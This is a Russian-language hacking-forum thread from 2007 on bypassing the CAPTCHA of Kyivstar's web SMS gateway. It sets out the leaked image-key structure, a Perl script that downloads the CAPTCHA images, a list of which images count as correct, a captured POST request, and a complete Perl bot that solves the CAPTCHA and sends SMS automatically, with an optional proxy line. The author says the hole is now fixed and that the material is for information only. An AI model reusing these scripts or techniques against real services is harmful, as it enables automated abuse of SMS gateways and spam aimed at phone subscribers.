Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   kyivstar CAPTHA III(полное разоблачение) (https://forum.antichat.xyz/showthread.php?t=46080)

demonoid 05.08.2007 04:22

kyivstar CAPTCHA III(полное разоблачение)
 
kyivstar CAPTCHA III(полное разоблачение)
Предыстория



2 августа была изменена система защиты( CAPTCHA ).
3 августа , мною был найден баг подробней тут _https://forum.antichat.ru/thread44779.html.
4 августа ошибки уже были исправлены ( оперативно ).
4 августа ( вечером ) изучения "переделанной" capth'и ,были изчерпаными :) .

История изучения

Зайдя на _www.kyivstar.net/sms/ система предложила мне указать "Номер телефону" ,выбрать "Набір символів" и написать "Текст повідомлення".
Открыл сорс начал бегать глазами и нашел интересный момент (указан отредактированный фрагмент кода)

Код:

.....
<p class="header">
Для того, щоб надіслати SMS,<br/>
вкажіть 2 картинки живої природи.
image-number="1" ...<img src="22B547867D97629D9627ADCAEE246F22e475e353f082678331"...
image-number="2" ...<img src="A1D42D05FC982AA3E1C053382C9D2229e475e353f082678341"...
                ...<img src="8A8EC206ACC445084C34B086F01204D8e475e353f082678355"...
                        ....="BE6601BE804C5DCCF633B94C0515E09Ee475e353f082678364"...
                        ....="4A4DF8EC973931AC92B8D7CBA7159B79e475e353f082678337"...
                        ....="2C97C4C704D8B66185188A829CE8E97Ce475e353f082678362"...
                        ....="C30FDBB169DBAFC401D22424B32CF698e475e353f082678335"...
                        ....."DD3E31B6944D54737A851A6C66B8BB17e475e353f082678327"...
                        ....."847B9DF288414004D499840CE1555CDFe475e353f082678342"...
</div>
......

Когда я введу номер и сообщение , система мне скажет укажи 2-е картинки живой природы.
Зайдя по ссылке www.kyivstar.net/_sms/22B547867D97629D9627ADCAEE246F22e475e353f082678331
Система показала мне картину ,это была живая природа! Ай думаю "2 картинки" 1-ну уже нашел пойду вторую найду..
Перебирая нашел вот она "DD3E31B6944D54737A851A6C66B8BB17e475e353f082678327".Позже начал всматриваться во все картинки ( а вернее в их ключ ),
уж больно они похожи были , логически разбил их части , вот что у меня вышло

Код:

1_img:"22B547867D97629D9627ADCAEE246F22"  "e475e353f0826783"  "31" ( живая природа )
2_img:"A1D42D05FC982AA3E1C053382C9D2229"  "e475e353f0826783"  "41"
3_img:"8A8EC206ACC445084C34B086F01204D8"  "e475e353f0826783"  "55"
4_img:"BE6601BE804C5DCCF633B94C0515E09E"  "e475e353f0826783"  "64"
5_img:"4A4DF8EC973931AC92B8D7CBA7159B79"  "e475e353f0826783"  "37"
6_img:"2C97C4C704D8B66185188A829CE8E97C"  "e475e353f0826783"  "62"
7_img:"C30FDBB169DBAFC401D22424B32CF698"  "e475e353f0826783"  "35"
8_img:"DD3E31B6944D54737A851A6C66B8BB17"  "e475e353f0826783"  "27" ( живая природа )
9_img:"847B9DF288414004D499840CE1555CDF"  "e475e353f0826783"  "42"

Красиво разбились неправда-ли ? :)
После маленький модификаций ключа ( всего целиком ) , пришел к выводу:

-первый ключ длинной 32 это позиция звёздочки на картинке ( длинна константа )
-следующие цифры ( это константа текущего соединения) ( длина не постоянна )
-последние две цифры , это картинка ("природа" или "не природа")

Как я пришел к выводу , что последние две цифры это картинка ?.
Просто когда я глумился на ключём ( хаотично менял последние цифры ) менялась суть картинки ,
но когда я поменял последние 2 цифры на "01" ( пример ключа: "847B9DF288414004D499840CE1555CDFe475e353f082678301" ) ,
выскочила ошибка:


Код:

Warning: imagecreatefromjpeg(/var/www.kyivstar.net/www/i/sms_images/01.jpg) [function.imagecreatefromjpeg]: failed to open stream: No such file or directory in /var/www.kyivstar.net/www/_sms/_image.php on line 12
Warning: imagealphablending(): supplied argument is not a valid Image resource in /var/www.kyivstar.net/www/_sms/_image.php on line 14
Warning: imagesx(): supplied argument is not a valid Image resource in /var/www.kyivstar.net/www/_sms/_image.php on line 35
Warning: imagesy(): supplied argument is not a valid Image resource in /var/www.kyivstar.net/www/_sms/_image.php on line 36
...........

Опа! последние две цифры это картинка , в ошибке это чётко видно - система не может найти фай "01.jpg".
Решил составить свою базу картинок .Но не перебирать же мне руками значения от 0 до 99
Написал скрипт скачки картинок :

Код:

#!/usr/bin/perl
use LWP::UserAgent;
use strict;

print "\t\tks_exemple.pl ~ / Kyivstar Image downloader /\n".
      "\t\t\tby demonoid 212-905-288\n".
      "\t\tspecical for forum.antichat.ru / 04.08.2007 /\n\n";     
     
my $path    = "C:/img/";
my $errfile = "error_img.log";
my $gdfile  = "good_img.log";
my $img;

open(ERR_FILE,">>$path$errfile") || exit print "[-]Cant open $errfile\n";
open(GD_FILE, ">>$path$gdfile")  || exit print "[-]Cant open $gdfile\n";

my $ua = LWP::UserAgent -> new;
for(0..99)
{
  $img="http://www.kyivstar.net/i/sms_images/$_.jpg";
  my $resp=$ua -> get("$img", ':content_file' => "$path$_.jpg");
  if( $resp->status_line =~/404/ ) { print ERR_FILE "$_.jpg\n"; }
  else                            { print GD_FILE  "$_.jpg\n"; }
 
}

print "Look file:\n".
      "~~~~~~~~~~~\n".
      "[-]Not Found image -> $errfile\n".
      "[+]    Found image -> $gdfile\n";
     
close ERR_FILE;
close GD_FILE;

Смотрим какие картинки удачно скачаны в "good_img.log" всего там 36 штук.
Теперь глазками визуально смотрим на эти картинки в этой же папке, и одновременно пущем базу "природа"

Код:

ПРИРОДА(17)    24,25,26,27,29,30,31,34,48,54,58,59,60,61,65,66,67
НЕПРИРОДА(19)  32,33,35,37,39,41,42,45,46,47,49,50,51,53,55,56,62,63,64

Теперь мы можем научить наш скрипт распознавать природу неприроду т.к база уже есть.


Второй интересный момент( отредактированный код ):
Код:

.....
<input type="hidden" name="code" id="code_1" value="1186249808" />
<input type="hidden" name="code" id="code_2" value="96342973" />
..... id="code_3" value="FF6765EE1D14EBBB24DC5235749B7539B0315C466DD56E14860F6BC6D30796DB068725D087616963650BCCB941B74C4795904E6CCC3F8D63" />
..... id="code_4" value="" />
......id="code_2" value="102984129" />
......id="code_4" value="6B233ABC50FC6E19941920F7C6C50DDC" />
..... id="code_4" value="94D26219B6644ED69D9914EF03D6E0EAE1EADD179D108E92" />
......id="code_4" value="BDFB6030FF0BAF0D" />
.......

как я понял это вспомогательные ключи для рандома звёздочки и природы ( глубоко изучать их не будем т.к. они не несут важной информации , мы их просто вставим в пакет )

пример пакета:
Код:

POST /_sms/ HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-icq, */*
Referer: http://www.kyivstar.net/_sms/?lang=ua
Accept-Language: ru
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Host: www.kyivstar.net
Content-Length: 365
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: countSms=0; isUserLogined=false; messageID=20070804193602.08D77B%40messenger; countSms=18; messageID=20070803183306.462EA7%40messenger; isUserLogined=false

submitted=true
&lang=ua
&sms_adv=3
&mobcode=097
&number=XXXXXXX
&lat=1
&message=polo
&code=1186249808
&code=96342973
&code=FF6765EE1D14EBBB24DC5235749B7539B0315C466DD56E14860F6BC6D30796DB068725D087616963650BCCB941B74C4795904E6CCC3F8D63
&code=0108
&code=102984129
&code=6B233ABC50FC6E19941920F7C6C50DDC
&code=4D26219B6644ED69D9914EF03D6E0EAE1EADD179D108E92
&code=BDFB6030FF0BAF0D

всё ясно всё значение code берём из вспомогательных ключей , кроме code=0108 , это как можно было догадаться позиции картинки смотрим выше
Код:


1_img:"22B547867D97629D9627ADCAEE246F22"  "e475e353f0826783"  "31" ( живая природа )
8_img:"DD3E31B6944D54737A851A6C66B8BB17"  "e475e353f0826783"  "27" ( живая природа )

1-я и 8-я картинка вот и вышло "0108"

Дальше я хотел написать пример отправки сообщения , но понимаю что всё это обратиться в спам :) , поэтому не буду выкладывать примеры ,
и так выложил много пищи для ума.

Важно :
1-Материал исключительно в ознакомительных целях!
2-Автор этой статьи не несёт ответственность за возможные последствия использования материала в целях, запрещенных УК Укр. и нормами международного права.

vvs777 05.08.2007 05:57

Вообщем очередной антиспам-защите пришел белый и пушистый.
Первая "картинка" от КС (с кукой :)) была несколько лет. Вторая - месяц.
С момента введения третьей до ее взлома прошло примерно 4-6 часов.
В тот же день тот баг пофиксили.
На следующий день (т.е сегодня) всю систему вскрыли с потрохами :)
Что же будет дальше?
Цитата:

- я взломаю эту систему за 5 минут
- а я за 3
- взламывай...
Вообщем угадай мело... тьфу. систему получается.

Это очередной раз доказывает то что нет ничего что нельзя взломать. Вопрос только в наличии желания и свободного времени.

Новый респект demonoid'у.
Расшифровать код не всегда просто.

Я еще опять собирался решить задачу "влоб" - думал организовать распознавание картинки по размеру файла (ибо это не бмп где все равны) но это дело не пошло т.к. заездочка все портит. Размер имеет большой среднестатистический разброс и перекрывается с размерами других картинок....

inv 05.08.2007 06:01

Цитата:

Это очередной раз доказывает то что нет ничего что нельзя взломать. Вопрос только в наличии желания и свободного времени.
Это вообще ничего не доказывает: )Ну может только неродивость авторов скрипта.

demonoid 05.08.2007 06:08

Немного об авторах
Lebedev Studio
Студия Артемия Лебедева _http://www.artlebedev.ru

//http://kyivstar.net/_sms/x_forms_with_code.js

Knight_of_Darkness 06.08.2007 00:42

А теперь что? Пофиксят и эту? Как же они пофиксили ту? Или админы КС тусят на античате, или им кто-то настучал с АНТИЧАТА. Или юзают гугл. Что же дальше будет-то?

vvs777 06.08.2007 03:58

Дальше будет или открытие следующего бага или конец света.
Одно из двух имхо. Причем второе менее вероятно :)

demonoid 08.08.2007 20:42

Пофиксили , пример отправки был такой:

Код:


#!/usr/bin/perl

use LWP::UserAgent;
use strict;
use warnings;

print q(
        --------------------------------------
        |                          | - | + | x |
        --------------------------------------
        |  specical for antichat.ru  _______ |
        |  ------------------------- |      || 
        |      icq:212-905-288        |  ?  ||
        |  ------------------------- |_______||
        -------------------------------------- );

  my $ua  = LWP::UserAgent->new;
  my $url = 'http://www.kyivstar.net/_sms/';
 
  my @good_img = ( '22','24','25','26','27','29','30',
                  '31','34','48','54','58','59',
                  '60','61','65','66','67' );
                                 
  my ( $count ,$i ,$len_c ,$code_4,$k,$curr_n_img );
  my ( @n_img,@img_code,@con_code);



  my $request = HTTP::Request->new(GET => $url);
  my $response = $ua->request($request);
  my $res = $response->content;
  #print $res;
  @img_code = ( $res =~ m/<img src="(\w+)"/gi);
  @con_code = ( $res =~ m/<input type="hidden" name="code" id="code_(\d+)" value="(\w+)"/gi);
 

  for(0..8)
  {
        $i++;
        $len_c = length($img_code[$_]);
        $n_img[$i] = substr($img_code[$_],$len_c-2,2);
        #print "$i| $img_code[$_] = $n_img[$i]\n";
  }
 
 

  for(0..8)
  {
      $k++;
      $curr_n_img = $n_img[$k];
      for(0..17)
      {
        if( $curr_n_img == $good_img[$_] )
        {
            #print "[$k] $curr_n_img\n";
            $code_4.="0$k";
        }
      }
  }
$con_code[4]=$code_4; #check
send_function(@con_code);




#----------------------------------
sub send_function
{
  #exit;
  my @code=@_;
  my $browser = LWP::UserAgent->new;                           
    $browser->agent('New captcha v3.0');       
    #$browser->proxy(['http'] => 'http://218.223.221.217:8080/'); 
       
  my $mob_code    = "097";
  my $mob_number  = "XXXXXXX";
  my $messenge    = "hello_antichat.ru";


  printf "\n\n\t[+]Send  %s-%s \n\tmessage:  \<<%s\>> \n",
          $mob_code,$mob_number,$messenge ;
   
  my $url="http://kyivstar.net/_sms/";
  my $response = $browser->post($url,
      ["submitted"    => "true",       
        "lang"        => "ua",
        "sms_adv"      => "101",     
        "mobcode"      => $mob_code,
        "number"      => $mob_number,
        "lat"          => 1,
        "message"      => $messenge,
        "code"        => $code[1],
        "code"        => $code[3],
        "code"        => $code[5],
        "code"        => $code[4],#check
        "code"        => $code[7],
        "code"        => $code[9],
        "code"        => $code[11],
        "code"        => $code[13]],
        "Content-Type" => "application/x-www-form-urlencoded",
        "Referer"      => "http://kyivstar.net/_sms/",
        "Connection"  => "Keep-Alive",
        "Cache-Control"=> "no-cache");       
  my $status= $response->as_string();
    ( $status =~/messageID/g )?print "[+] Good send\n":print "[-] Not send!";
 

}


_Great_ 09.08.2007 16:42

Цитата:

Опа! последние два бита это картинка , в ошибке это чётко видно
Биты это двоичные биты, а это не биты, а цифры )

nerezus 09.08.2007 19:47

Цитата:

Это вообще ничего не доказывает: )Ну может только неродивость авторов скрипта.
+1.
Криворукий писака сделал капчу.

demonoid 09.08.2007 21:02

Цитата:

Сообщение от _Great_
Биты это двоичные биты, а это не биты, а цифры )

Вот это я чушь написал , спасибо сейчас отредактирую.


Время: 21:06